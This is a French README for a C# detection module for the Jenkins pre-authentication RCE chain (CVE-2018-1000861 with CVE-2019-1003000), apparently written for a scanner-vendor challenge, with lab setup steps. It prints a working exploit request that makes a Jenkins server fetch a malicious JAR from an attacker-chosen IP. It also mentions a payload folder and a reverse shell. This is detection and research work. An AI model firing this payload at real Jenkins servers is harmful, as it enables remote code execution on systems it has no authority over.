
Un module C# pour détecter si un serveur Jenkins est vulnérable à la vulnérabilité RCE découverte dans CVE-2019-1003000 (enchaînée avec CVE-2018-1000861 pour un RCE sans authentification préalable)
En enchaînant la vulnérabilité CVE-2018-1000861 avec CVE-2019-1003000, j'ai créé un module pour tester une RCE pré-authentification sur Jenkins CI. Initialement, j'avais essayé de détecter la vulnérabilité avec un nom d'utilisateur, un mot de passe et un nom de tâche ; cependant, j'ai pensé qu'il serait plus réaliste et intéressant d'aborder ce défi en enchaînant les deux vulnérabilités.
Ayez Visual Studio ou le framework .NET Core installé sur votre machine Windows, Linux ou macOS.
docker pull jenkins/jenkins:2.121mvDir.sh
./mvDir.sh
chmod +x mvDir.sh. Si cela ne fonctionne toujours pas, vous pouvez l'exécuter comme bash mvDir.sh./run_vuln_jenkins.sh
http://localhost:8080)./run_updated_jenkins.sh ou bash run_updated_jenkins.sh lancera un serveur Jenkins sécurisé et à jour sur http://localhost:8000 ; exécuter le module contre celui-ci montrera qu'il est sécurisé et non vulnérable à CVE-2018-1000861 enchaîné avec CVE-2019-1003000.La planification initiale que j'avais créée était un bon cadre pour la façon dont j'ai abordé la solution ; cependant, en avançant, j'ai découvert que je rendais beaucoup de travail plus compliqué qu'il ne devait l'être. J'avais initialement créé un script bash pour lancer un reverse shell vers ma machine hôte afin de prouver la RCE. Cependant, le but de ce défi était de prouver que la vulnérabilité existait. Dans ce cas, il s'agissait de prouver qu'une RCE pouvait être déclenchée sur Jenkins version 2.121.2 avec les plugins suivants : Pipeline: Declarative Plugin jusqu'à 1.3.4, Pipeline: Declarative Extension Points API jusqu'à 1.3.4, Pipeline: Groovy Plugin jusqu'à 2.61, Script Security Plugin jusqu'à 1.49.
Je n'avais pas besoin de créer réellement un reverse shell et de montrer que je pouvais lancer des commandes arbitraires. Pour cette raison, il est plus facile de détecter la vulnérabilité sur les systèmes d'exploitation Windows et .nix. Après avoir effectué la requête GET, j'ai constaté que la page répond avec un statut marqué comme succès ou affiche un message d'erreur. Cependant, pour s'assurer que le statut de succès n'était pas un faux positif, j'ai mis en place un serveur web sur mon hôte en utilisant python -m SimpleHTTPSever 80 et en lançant la requête GET personnalisée vers le fichier JAR malveillant spécifié (qui se trouve dans le dossier payload), on peut voir que la requête GET répond avec un code de statut 200 et le chemin correct vers le fichier jar trouvé sur la machine locale, prouvant ainsi l'existence de la vulnérabilité. Voici un exemple de la requête GET et de la réponse correspondante. Les différents chemins de fichiers (tw/ et www/) contiennent chacun le jar malveillant ; ce sont simplement des chemins différents que la requête parcourt pour le trouver.
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

dotnet buildPour exécuter le module : dotnet run -- -u http://localhost:8080 -ip <adresse_ip_hôte>
http:// sinon le programme lèvera une exception HTTP et vous devrez l'exécuter à nouveau.Options des paramètres
| Abrégé | Long | Description |
|---|---|---|
| -uname | --username | Nom d'utilisateur Jenkins |
| -p | --password | Mot de passe utilisateur Jenkins |
| -u | --url | URL cible |
| -ip | --ip address | Adresse IP |
| -v | --verbose | Sortie verbose |
-p, -uname n'ont pas encore été implémentés car j'ai seulement créé le module pour détecter une RCE pré-authentification, pensant que ce serait plus réaliste pour Detectify, car je pense que le scanner de l'entreprise serait simplement pointé vers un domaine cible (et n'aurait pas de paramètres personnalisés tels qu'un mot de passe et un nom d'utilisateur, car il serait également risqué pour une autre entreprise de les fournir à une autre, même si celle-ci tente d'améliorer sa posture de sécurité).